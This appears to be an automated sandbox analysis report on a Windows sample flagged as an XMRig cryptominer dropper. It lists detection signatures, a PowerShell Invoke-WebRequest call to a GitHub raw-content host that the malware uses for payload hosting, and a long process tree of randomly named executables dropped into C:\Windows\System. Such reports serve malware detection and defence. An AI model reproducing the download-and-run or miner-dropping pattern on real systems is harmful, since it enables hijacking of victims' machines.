Analysis
- max time kernel
101s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
18/05/2024, 17:14
General
- Target 18451fd6e77d0e564f6d67704a0b5960_NeikiAnalytics.exe
- Size 1.6MB
- Sample240518-vr8vdsec44
- SHA256 a9ad86f58eefc4d626969873b471e3dc45752db0c5eff6702fc15ae96ef5d947
Score
10/10
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 48 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in System32 directory 6 IoCs
- Drops file in Windows directory 64 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\18451fd6e77d0e564f6d67704a0b5960_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\18451fd6e77d0e564f6d67704a0b5960_NeikiAnalytics.exe"1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2680" "2968" "2900" "2972" "0" "0" "2976" "0" "0" "0" "0" "0"3⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\System\tCIccGv.exeC:\Windows\System\tCIccGv.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\opXQOrz.exeC:\Windows\System\opXQOrz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vbpHjEb.exeC:\Windows\System\vbpHjEb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\AFBSOES.exeC:\Windows\System\AFBSOES.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PclTISa.exeC:\Windows\System\PclTISa.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VmMCzzY.exeC:\Windows\System\VmMCzzY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\IvUkaCX.exeC:\Windows\System\IvUkaCX.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bsBMmgo.exeC:\Windows\System\bsBMmgo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\uzwLsmg.exeC:\Windows\System\uzwLsmg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rNnIdKM.exeC:\Windows\System\rNnIdKM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bpAprPd.exeC:\Windows\System\bpAprPd.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\czMDYJP.exeC:\Windows\System\czMDYJP.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aWkHOnx.exeC:\Windows\System\aWkHOnx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\crGgaoV.exeC:\Windows\System\crGgaoV.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KBlAbkH.exeC:\Windows\System\KBlAbkH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bOGSHDD.exeC:\Windows\System\bOGSHDD.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\FEhPHBc.exeC:\Windows\System\FEhPHBc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YUCSswo.exeC:\Windows\System\YUCSswo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vBEcmxH.exeC:\Windows\System\vBEcmxH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zCRJoju.exeC:\Windows\System\zCRJoju.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ENgGQAB.exeC:\Windows\System\ENgGQAB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KoMwgnc.exeC:\Windows\System\KoMwgnc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aImarIX.exeC:\Windows\System\aImarIX.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sCPmoTh.exeC:\Windows\System\sCPmoTh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\CReLzMw.exeC:\Windows\System\CReLzMw.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\oxQkLes.exeC:\Windows\System\oxQkLes.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kJXnJlT.exeC:\Windows\System\kJXnJlT.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WziIvWH.exeC:\Windows\System\WziIvWH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ksBTdGz.exeC:\Windows\System\ksBTdGz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dpDaxUN.exeC:\Windows\System\dpDaxUN.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VQmEEMM.exeC:\Windows\System\VQmEEMM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xmkqBLm.exeC:\Windows\System\xmkqBLm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KWaGBTQ.exeC:\Windows\System\KWaGBTQ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sSWURWR.exeC:\Windows\System\sSWURWR.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZBLMCBA.exeC:\Windows\System\ZBLMCBA.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PNVkwvH.exeC:\Windows\System\PNVkwvH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UnAaXcz.exeC:\Windows\System\UnAaXcz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GBnCQcT.exeC:\Windows\System\GBnCQcT.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\tXcXiZq.exeC:\Windows\System\tXcXiZq.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pPNwHWr.exeC:\Windows\System\pPNwHWr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aBpIwts.exeC:\Windows\System\aBpIwts.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vOttkDR.exeC:\Windows\System\vOttkDR.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\NkoHInI.exeC:\Windows\System\NkoHInI.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TCarCJm.exeC:\Windows\System\TCarCJm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GyJMYOS.exeC:\Windows\System\GyJMYOS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cNEMOyE.exeC:\Windows\System\cNEMOyE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BcupDsg.exeC:\Windows\System\BcupDsg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KuFNLEH.exeC:\Windows\System\KuFNLEH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\tyQlCna.exeC:\Windows\System\tyQlCna.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\nqGhorp.exeC:\Windows\System\nqGhorp.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hNUdvSU.exeC:\Windows\System\hNUdvSU.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\jQjLBAJ.exeC:\Windows\System\jQjLBAJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PeAikzF.exeC:\Windows\System\PeAikzF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\iljHRxN.exeC:\Windows\System\iljHRxN.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fCeDBaQ.exeC:\Windows\System\fCeDBaQ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lFAGvLm.exeC:\Windows\System\lFAGvLm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\oGSoIFw.exeC:\Windows\System\oGSoIFw.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UCTpjGO.exeC:\Windows\System\UCTpjGO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DRHdOCH.exeC:\Windows\System\DRHdOCH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TtaZGnK.exeC:\Windows\System\TtaZGnK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TwfmCoH.exeC:\Windows\System\TwfmCoH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lwJokdF.exeC:\Windows\System\lwJokdF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PGnnHBe.exeC:\Windows\System\PGnnHBe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GxgmeCZ.exeC:\Windows\System\GxgmeCZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aguMTqE.exeC:\Windows\System\aguMTqE.exe2⤵
-
-
C:\Windows\System\SvdUnIG.exeC:\Windows\System\SvdUnIG.exe2⤵
-
-
C:\Windows\System\xWlZNtE.exeC:\Windows\System\xWlZNtE.exe2⤵
-
-
C:\Windows\System\pWDxvJn.exeC:\Windows\System\pWDxvJn.exe2⤵
-
-
C:\Windows\System\LbykZKO.exeC:\Windows\System\LbykZKO.exe2⤵
-
-
C:\Windows\System\HiTNAVG.exeC:\Windows\System\HiTNAVG.exe2⤵
-
-
C:\Windows\System\RkBpqGc.exeC:\Windows\System\RkBpqGc.exe2⤵
-
-
C:\Windows\System\zxKTLcq.exeC:\Windows\System\zxKTLcq.exe2⤵
-
-
C:\Windows\System\Pixqzwx.exeC:\Windows\System\Pixqzwx.exe2⤵
-
-
C:\Windows\System\paJugdt.exeC:\Windows\System\paJugdt.exe2⤵
-
-
C:\Windows\System\kYHrHCz.exeC:\Windows\System\kYHrHCz.exe2⤵
-
-
C:\Windows\System\hCVipyQ.exeC:\Windows\System\hCVipyQ.exe2⤵
-
-
C:\Windows\System\QYJcbsh.exeC:\Windows\System\QYJcbsh.exe2⤵
-
-
C:\Windows\System\IasVhjX.exeC:\Windows\System\IasVhjX.exe2⤵
-
-
C:\Windows\System\dImzMJK.exeC:\Windows\System\dImzMJK.exe2⤵
-
-
C:\Windows\System\MRkZwGb.exeC:\Windows\System\MRkZwGb.exe2⤵
-
-
C:\Windows\System\jFuwNpj.exeC:\Windows\System\jFuwNpj.exe2⤵
-
-
C:\Windows\System\exBaLOX.exeC:\Windows\System\exBaLOX.exe2⤵
-
-
C:\Windows\System\GBfJvcR.exeC:\Windows\System\GBfJvcR.exe2⤵
-
-
C:\Windows\System\jHcXeRm.exeC:\Windows\System\jHcXeRm.exe2⤵
-
-
C:\Windows\System\FuKPhjR.exeC:\Windows\System\FuKPhjR.exe2⤵
-
-
C:\Windows\System\ETOoAsQ.exeC:\Windows\System\ETOoAsQ.exe2⤵
-
-
C:\Windows\System\hKxdyAB.exeC:\Windows\System\hKxdyAB.exe2⤵
-
-
C:\Windows\System\rLVCaHW.exeC:\Windows\System\rLVCaHW.exe2⤵
-
-
C:\Windows\System\kAvUerL.exeC:\Windows\System\kAvUerL.exe2⤵
-
-
C:\Windows\System\pmwcNVN.exeC:\Windows\System\pmwcNVN.exe2⤵
-
-
C:\Windows\System\ZZhwvCO.exeC:\Windows\System\ZZhwvCO.exe2⤵
-
-
C:\Windows\System\gqCuDkK.exeC:\Windows\System\gqCuDkK.exe2⤵
-
-
C:\Windows\System\BRCgQfX.exeC:\Windows\System\BRCgQfX.exe2⤵
-
-
C:\Windows\System\jYTJQQA.exeC:\Windows\System\jYTJQQA.exe2⤵
-
-
C:\Windows\System\NLVHfEA.exeC:\Windows\System\NLVHfEA.exe2⤵
-
-
C:\Windows\System\PwDZWed.exeC:\Windows\System\PwDZWed.exe2⤵
-
-
C:\Windows\System\qUbtYIB.exeC:\Windows\System\qUbtYIB.exe2⤵
-
-
C:\Windows\System\SxZfDGx.exeC:\Windows\System\SxZfDGx.exe2⤵
-
-
C:\Windows\System\DhfiQJe.exeC:\Windows\System\DhfiQJe.exe2⤵
-
-
C:\Windows\System\flyCpJo.exeC:\Windows\System\flyCpJo.exe2⤵
-
-
C:\Windows\System\GwcZyJj.exeC:\Windows\System\GwcZyJj.exe2⤵
-
-
C:\Windows\System\fZtExTF.exeC:\Windows\System\fZtExTF.exe2⤵
-
-
C:\Windows\System\wLymjIl.exeC:\Windows\System\wLymjIl.exe2⤵
-
-
C:\Windows\System\FBtIwnh.exeC:\Windows\System\FBtIwnh.exe2⤵
-
-
C:\Windows\System\cSXApyv.exeC:\Windows\System\cSXApyv.exe2⤵
-
-
C:\Windows\System\ShexyGA.exeC:\Windows\System\ShexyGA.exe2⤵
-
-
C:\Windows\System\QGaDerZ.exeC:\Windows\System\QGaDerZ.exe2⤵
-
-
C:\Windows\System\NLoUstM.exeC:\Windows\System\NLoUstM.exe2⤵
-
-
C:\Windows\System\wohknFD.exeC:\Windows\System\wohknFD.exe2⤵
-
-
C:\Windows\System\JfuPjkP.exeC:\Windows\System\JfuPjkP.exe2⤵
-
-
C:\Windows\System\bRWWEiv.exeC:\Windows\System\bRWWEiv.exe2⤵
-
-
C:\Windows\System\pwdJipe.exeC:\Windows\System\pwdJipe.exe2⤵
-
-
C:\Windows\System\NArQYXZ.exeC:\Windows\System\NArQYXZ.exe2⤵
-
-
C:\Windows\System\ktRNsGN.exeC:\Windows\System\ktRNsGN.exe2⤵
-
-
C:\Windows\System\UWXmRwL.exeC:\Windows\System\UWXmRwL.exe2⤵
-
-
C:\Windows\System\tyxETfF.exeC:\Windows\System\tyxETfF.exe2⤵
-
-
C:\Windows\System\vWgJTTX.exeC:\Windows\System\vWgJTTX.exe2⤵
-
-
C:\Windows\System\nBQOIoQ.exeC:\Windows\System\nBQOIoQ.exe2⤵
-
-
C:\Windows\System\LqbraeU.exeC:\Windows\System\LqbraeU.exe2⤵
-
-
C:\Windows\System\TjGbqRk.exeC:\Windows\System\TjGbqRk.exe2⤵
-
-
C:\Windows\System\bHUCgDy.exeC:\Windows\System\bHUCgDy.exe2⤵
-
-
C:\Windows\System\PvhnHKq.exeC:\Windows\System\PvhnHKq.exe2⤵
-
-
C:\Windows\System\FoDkCjo.exeC:\Windows\System\FoDkCjo.exe2⤵
-
-
C:\Windows\System\qyMnDsf.exeC:\Windows\System\qyMnDsf.exe2⤵
-
-
C:\Windows\System\DGQklQQ.exeC:\Windows\System\DGQklQQ.exe2⤵
-
-
C:\Windows\System\MqXYNlK.exeC:\Windows\System\MqXYNlK.exe2⤵
-
-
C:\Windows\System\JhitCyK.exeC:\Windows\System\JhitCyK.exe2⤵
-
-
C:\Windows\System\mOhWtpa.exeC:\Windows\System\mOhWtpa.exe2⤵
-
-
C:\Windows\System\NXaqiNa.exeC:\Windows\System\NXaqiNa.exe2⤵
-
-
C:\Windows\System\QHgTOaP.exeC:\Windows\System\QHgTOaP.exe2⤵
-
-
C:\Windows\System\XDebkfn.exeC:\Windows\System\XDebkfn.exe2⤵
-
-
C:\Windows\System\UHvSUlg.exeC:\Windows\System\UHvSUlg.exe2⤵
-
-
C:\Windows\System\yoEFnmd.exeC:\Windows\System\yoEFnmd.exe2⤵
-
-
C:\Windows\System\ayFuExM.exeC:\Windows\System\ayFuExM.exe2⤵
-
-
C:\Windows\System\IGfkQoV.exeC:\Windows\System\IGfkQoV.exe2⤵
-
-
C:\Windows\System\rtPyQkh.exeC:\Windows\System\rtPyQkh.exe2⤵
-
-
C:\Windows\System\ShwDpRD.exeC:\Windows\System\ShwDpRD.exe2⤵
-
-
C:\Windows\System\mJLZtkI.exeC:\Windows\System\mJLZtkI.exe2⤵
-
-
C:\Windows\System\wpfGgqr.exeC:\Windows\System\wpfGgqr.exe2⤵
-
-
C:\Windows\System\ztEoECs.exeC:\Windows\System\ztEoECs.exe2⤵
-
-
C:\Windows\System\VEWkSmA.exeC:\Windows\System\VEWkSmA.exe2⤵
-
-
C:\Windows\System\GyPoUtI.exeC:\Windows\System\GyPoUtI.exe2⤵
-
-
C:\Windows\System\OZqvXQt.exeC:\Windows\System\OZqvXQt.exe2⤵
-
-
C:\Windows\System\MbLfJPR.exeC:\Windows\System\MbLfJPR.exe2⤵
-
-
C:\Windows\System\FjtmbTp.exeC:\Windows\System\FjtmbTp.exe2⤵
-
-
C:\Windows\System\aVYGLsc.exeC:\Windows\System\aVYGLsc.exe2⤵
-
-
C:\Windows\System\JQmutQV.exeC:\Windows\System\JQmutQV.exe2⤵
-
-
C:\Windows\System\QVtWEaq.exeC:\Windows\System\QVtWEaq.exe2⤵
-
-
C:\Windows\System\yGDcPje.exeC:\Windows\System\yGDcPje.exe2⤵
-
-
C:\Windows\System\vPGmwoT.exeC:\Windows\System\vPGmwoT.exe2⤵
-
-
C:\Windows\System\lkTKoHE.exeC:\Windows\System\lkTKoHE.exe2⤵
-
-
C:\Windows\System\NOWLNPh.exeC:\Windows\System\NOWLNPh.exe2⤵
-
-
C:\Windows\System\ITVSfBr.exeC:\Windows\System\ITVSfBr.exe2⤵
-
-
C:\Windows\System\KldEglp.exeC:\Windows\System\KldEglp.exe2⤵
-
-
C:\Windows\System\NjfIKcG.exeC:\Windows\System\NjfIKcG.exe2⤵
-
-
C:\Windows\System\UZUcmkZ.exeC:\Windows\System\UZUcmkZ.exe2⤵
-
-
C:\Windows\System\gpkqApZ.exeC:\Windows\System\gpkqApZ.exe2⤵
-
-
C:\Windows\System\fwzxjLs.exeC:\Windows\System\fwzxjLs.exe2⤵
-
-
C:\Windows\System\CyLLGnw.exeC:\Windows\System\CyLLGnw.exe2⤵
-
-
C:\Windows\System\pQlOIyF.exeC:\Windows\System\pQlOIyF.exe2⤵
-
-
C:\Windows\System\fzLGCcL.exeC:\Windows\System\fzLGCcL.exe2⤵
-
-
C:\Windows\System\XXzGuKs.exeC:\Windows\System\XXzGuKs.exe2⤵
-
-
C:\Windows\System\psowsly.exeC:\Windows\System\psowsly.exe2⤵
-
-
C:\Windows\System\NfFyNyl.exeC:\Windows\System\NfFyNyl.exe2⤵
-
-
C:\Windows\System\HVQgXih.exeC:\Windows\System\HVQgXih.exe2⤵
-
-
C:\Windows\System\saSMVFf.exeC:\Windows\System\saSMVFf.exe2⤵
-
-
C:\Windows\System\rHhqrGU.exeC:\Windows\System\rHhqrGU.exe2⤵
-
-
C:\Windows\System\IaibzaN.exeC:\Windows\System\IaibzaN.exe2⤵
-
-
C:\Windows\System\vHcOojL.exeC:\Windows\System\vHcOojL.exe2⤵
-
-
C:\Windows\System\cUipCxe.exeC:\Windows\System\cUipCxe.exe2⤵
-
-
C:\Windows\System\WPoEdME.exeC:\Windows\System\WPoEdME.exe2⤵
-
-
C:\Windows\System\cgwOJQX.exeC:\Windows\System\cgwOJQX.exe2⤵
-
-
C:\Windows\System\UiOlCSb.exeC:\Windows\System\UiOlCSb.exe2⤵
-
-
C:\Windows\System\jRvKPyv.exeC:\Windows\System\jRvKPyv.exe2⤵
-
-
C:\Windows\System\qxRlrvq.exeC:\Windows\System\qxRlrvq.exe2⤵
-
-
C:\Windows\System\yFuNKhU.exeC:\Windows\System\yFuNKhU.exe2⤵
-
-
C:\Windows\System\HOFBdjb.exeC:\Windows\System\HOFBdjb.exe2⤵
-
-
C:\Windows\System\wnlJsPT.exeC:\Windows\System\wnlJsPT.exe2⤵
-
-
C:\Windows\System\qrvXXyV.exeC:\Windows\System\qrvXXyV.exe2⤵
-
-
C:\Windows\System\JhIucaR.exeC:\Windows\System\JhIucaR.exe2⤵
-
-
C:\Windows\System\NBQEELk.exeC:\Windows\System\NBQEELk.exe2⤵
-
-
C:\Windows\System\kRXSnpw.exeC:\Windows\System\kRXSnpw.exe2⤵
-
-
C:\Windows\System\sOWxWEF.exeC:\Windows\System\sOWxWEF.exe2⤵
-
-
C:\Windows\System\NgbTRUk.exeC:\Windows\System\NgbTRUk.exe2⤵
-
-
C:\Windows\System\fInRXkk.exeC:\Windows\System\fInRXkk.exe2⤵
-
-
C:\Windows\System\haUxVGF.exeC:\Windows\System\haUxVGF.exe2⤵
-
-
C:\Windows\System\XybSEYo.exeC:\Windows\System\XybSEYo.exe2⤵
-
-
C:\Windows\System\yjfOckA.exeC:\Windows\System\yjfOckA.exe2⤵
-
-
C:\Windows\System\yfSdWsD.exeC:\Windows\System\yfSdWsD.exe2⤵
-
-
C:\Windows\System\DMfJxrk.exeC:\Windows\System\DMfJxrk.exe2⤵
-
-
C:\Windows\System\NNDZoGW.exeC:\Windows\System\NNDZoGW.exe2⤵
-
-
C:\Windows\System\VpdOShO.exeC:\Windows\System\VpdOShO.exe2⤵
-
-
C:\Windows\System\VGNOQyr.exeC:\Windows\System\VGNOQyr.exe2⤵
-
-
C:\Windows\System\ZOCFmVf.exeC:\Windows\System\ZOCFmVf.exe2⤵
-
-
C:\Windows\System\kjGQEOk.exeC:\Windows\System\kjGQEOk.exe2⤵
-
-
C:\Windows\System\QlpJYLl.exeC:\Windows\System\QlpJYLl.exe2⤵
-
-
C:\Windows\System\MrGBmLe.exeC:\Windows\System\MrGBmLe.exe2⤵
-
-
C:\Windows\System\GAMdQcn.exeC:\Windows\System\GAMdQcn.exe2⤵
-
-
C:\Windows\System\gREZeKC.exeC:\Windows\System\gREZeKC.exe2⤵
-
-
C:\Windows\System\BXAZfxW.exeC:\Windows\System\BXAZfxW.exe2⤵
-
-
C:\Windows\System\ZpRxGMZ.exeC:\Windows\System\ZpRxGMZ.exe2⤵
-
-
C:\Windows\System\GyeWHrx.exeC:\Windows\System\GyeWHrx.exe2⤵
-
-
C:\Windows\System\ECoMKjN.exeC:\Windows\System\ECoMKjN.exe2⤵
-
-
C:\Windows\System\akgfWQF.exeC:\Windows\System\akgfWQF.exe2⤵
-
-
C:\Windows\System\tmaRqcd.exeC:\Windows\System\tmaRqcd.exe2⤵
-
-
C:\Windows\System\xDhtyCK.exeC:\Windows\System\xDhtyCK.exe2⤵
-
-
C:\Windows\System\gqTxGOw.exeC:\Windows\System\gqTxGOw.exe2⤵
-
-
C:\Windows\System\rfKckse.exeC:\Windows\System\rfKckse.exe2⤵
-
-
C:\Windows\System\VdJefDU.exeC:\Windows\System\VdJefDU.exe2⤵
-
-
C:\Windows\System\CUbubDT.exeC:\Windows\System\CUbubDT.exe2⤵
-
-
C:\Windows\System\GKhuslI.exeC:\Windows\System\GKhuslI.exe2⤵
-
-
C:\Windows\System\eYIzICu.exeC:\Windows\System\eYIzICu.exe2⤵
-
-
C:\Windows\System\LAaZvvd.exeC:\Windows\System\LAaZvvd.exe2⤵
-
-
C:\Windows\System\njIFefO.exeC:\Windows\System\njIFefO.exe2⤵
-
-
C:\Windows\System\iPvoGtr.exeC:\Windows\System\iPvoGtr.exe2⤵
-
-
C:\Windows\System\ykIeysB.exeC:\Windows\System\ykIeysB.exe2⤵
-
-
C:\Windows\System\pjCyMNv.exeC:\Windows\System\pjCyMNv.exe2⤵
-
-
C:\Windows\System\mESsNee.exeC:\Windows\System\mESsNee.exe2⤵
-
-
C:\Windows\System\IoBEKVV.exeC:\Windows\System\IoBEKVV.exe2⤵
-
-
C:\Windows\System\shQFYbY.exeC:\Windows\System\shQFYbY.exe2⤵
-
-
C:\Windows\System\XHWzOAe.exeC:\Windows\System\XHWzOAe.exe2⤵
-
-
C:\Windows\System\DpcPcUL.exeC:\Windows\System\DpcPcUL.exe2⤵
-
-
C:\Windows\System\MCzpIUd.exeC:\Windows\System\MCzpIUd.exe2⤵
-
-
C:\Windows\System\CvEUbCc.exeC:\Windows\System\CvEUbCc.exe2⤵
-
-
C:\Windows\System\uzQNfOA.exeC:\Windows\System\uzQNfOA.exe2⤵
-
-
C:\Windows\System\AEBFaLg.exeC:\Windows\System\AEBFaLg.exe2⤵
-
-
C:\Windows\System\hpcxgiY.exeC:\Windows\System\hpcxgiY.exe2⤵
-
-
C:\Windows\System\nhXnAKK.exeC:\Windows\System\nhXnAKK.exe2⤵
-
-
C:\Windows\System\bLQOcrw.exeC:\Windows\System\bLQOcrw.exe2⤵
-
-
C:\Windows\System\roUdsNe.exeC:\Windows\System\roUdsNe.exe2⤵
-
-
C:\Windows\System\kkXfyDb.exeC:\Windows\System\kkXfyDb.exe2⤵
-
-
C:\Windows\System\WlzaCdP.exeC:\Windows\System\WlzaCdP.exe2⤵
-
-
C:\Windows\System\zRWleWj.exeC:\Windows\System\zRWleWj.exe2⤵
-
-
C:\Windows\System\elzJydH.exeC:\Windows\System\elzJydH.exe2⤵
-
-
C:\Windows\System\DmqQuNR.exeC:\Windows\System\DmqQuNR.exe2⤵
-
-
C:\Windows\System\LmWKNOK.exeC:\Windows\System\LmWKNOK.exe2⤵
-
-
C:\Windows\System\DizFXrR.exeC:\Windows\System\DizFXrR.exe2⤵
-
-
C:\Windows\System\TMmsjaj.exeC:\Windows\System\TMmsjaj.exe2⤵
-
-
C:\Windows\System\batKhad.exeC:\Windows\System\batKhad.exe2⤵
-
-
C:\Windows\System\XBaUEnP.exeC:\Windows\System\XBaUEnP.exe2⤵
-
-
C:\Windows\System\JdxcFNe.exeC:\Windows\System\JdxcFNe.exe2⤵
-
-
C:\Windows\System\LHoEFcf.exeC:\Windows\System\LHoEFcf.exe2⤵
-
-
C:\Windows\System\DSGrHhs.exeC:\Windows\System\DSGrHhs.exe2⤵
-
-
C:\Windows\System\VMquMXN.exeC:\Windows\System\VMquMXN.exe2⤵
-
-
C:\Windows\System\PyUSmoW.exeC:\Windows\System\PyUSmoW.exe2⤵
-
-
C:\Windows\System\DSIwdNT.exeC:\Windows\System\DSIwdNT.exe2⤵
-
-
C:\Windows\System\pzrgpCC.exeC:\Windows\System\pzrgpCC.exe2⤵
-
-
C:\Windows\System\hztiqnW.exeC:\Windows\System\hztiqnW.exe2⤵
-
-
C:\Windows\System\ZChWOEB.exeC:\Windows\System\ZChWOEB.exe2⤵
-
-
C:\Windows\System\zjCOEDi.exeC:\Windows\System\zjCOEDi.exe2⤵
-
-
C:\Windows\System\sKjkKfp.exeC:\Windows\System\sKjkKfp.exe2⤵
-
-
C:\Windows\System\nVcgTid.exeC:\Windows\System\nVcgTid.exe2⤵
-
-
C:\Windows\System\QLsesdF.exeC:\Windows\System\QLsesdF.exe2⤵
-
-
C:\Windows\System\wPFMwze.exeC:\Windows\System\wPFMwze.exe2⤵
-
-
C:\Windows\System\yaqiFFv.exeC:\Windows\System\yaqiFFv.exe2⤵
-
-
C:\Windows\System\IjmBDdM.exeC:\Windows\System\IjmBDdM.exe2⤵
-
-
C:\Windows\System\OCdbxpV.exeC:\Windows\System\OCdbxpV.exe2⤵
-
-
C:\Windows\System\pgAMykM.exeC:\Windows\System\pgAMykM.exe2⤵
-
-
C:\Windows\System\UKKdRdj.exeC:\Windows\System\UKKdRdj.exe2⤵
-
-
C:\Windows\System\ZXmFDzu.exeC:\Windows\System\ZXmFDzu.exe2⤵
-
-
C:\Windows\System\axQFGtl.exeC:\Windows\System\axQFGtl.exe2⤵
-
-
C:\Windows\System\DSKNmCN.exeC:\Windows\System\DSKNmCN.exe2⤵
-
-
C:\Windows\System\tcCgrNT.exeC:\Windows\System\tcCgrNT.exe2⤵
-
-
C:\Windows\System\bYFMjel.exeC:\Windows\System\bYFMjel.exe2⤵
-
-
C:\Windows\System\iNtlqrr.exeC:\Windows\System\iNtlqrr.exe2⤵
-
-
C:\Windows\System\VHFwSTk.exeC:\Windows\System\VHFwSTk.exe2⤵
-
-
C:\Windows\System\ysAWBtu.exeC:\Windows\System\ysAWBtu.exe2⤵
-
-
C:\Windows\System\rczPEVy.exeC:\Windows\System\rczPEVy.exe2⤵
-
-
C:\Windows\System\sHnMDks.exeC:\Windows\System\sHnMDks.exe2⤵
-
-
C:\Windows\System\RkFzahk.exeC:\Windows\System\RkFzahk.exe2⤵
-
-
C:\Windows\System\vvfMEOA.exeC:\Windows\System\vvfMEOA.exe2⤵
-
-
C:\Windows\System\Oushcqc.exeC:\Windows\System\Oushcqc.exe2⤵
-
-
C:\Windows\System\XNEzDra.exeC:\Windows\System\XNEzDra.exe2⤵
-
-
C:\Windows\System\oSjxNys.exeC:\Windows\System\oSjxNys.exe2⤵
-
-
C:\Windows\System\rSpyZux.exeC:\Windows\System\rSpyZux.exe2⤵
-
-
C:\Windows\System\CsdSIEa.exeC:\Windows\System\CsdSIEa.exe2⤵
-
-
C:\Windows\System\elclzgD.exeC:\Windows\System\elclzgD.exe2⤵
-
-
C:\Windows\System\RosJTUe.exeC:\Windows\System\RosJTUe.exe2⤵
-
-
C:\Windows\System\BOmczWW.exeC:\Windows\System\BOmczWW.exe2⤵
-
-
C:\Windows\System\fICSHdU.exeC:\Windows\System\fICSHdU.exe2⤵
-
-
C:\Windows\System\PjVXEoD.exeC:\Windows\System\PjVXEoD.exe2⤵
-
-
C:\Windows\System\NZegOTy.exeC:\Windows\System\NZegOTy.exe2⤵
-
-
C:\Windows\System\OvDEgwt.exeC:\Windows\System\OvDEgwt.exe2⤵
-
-
C:\Windows\System\WJvjikT.exeC:\Windows\System\WJvjikT.exe2⤵
-
-
C:\Windows\System\RAEkQDY.exeC:\Windows\System\RAEkQDY.exe2⤵
-
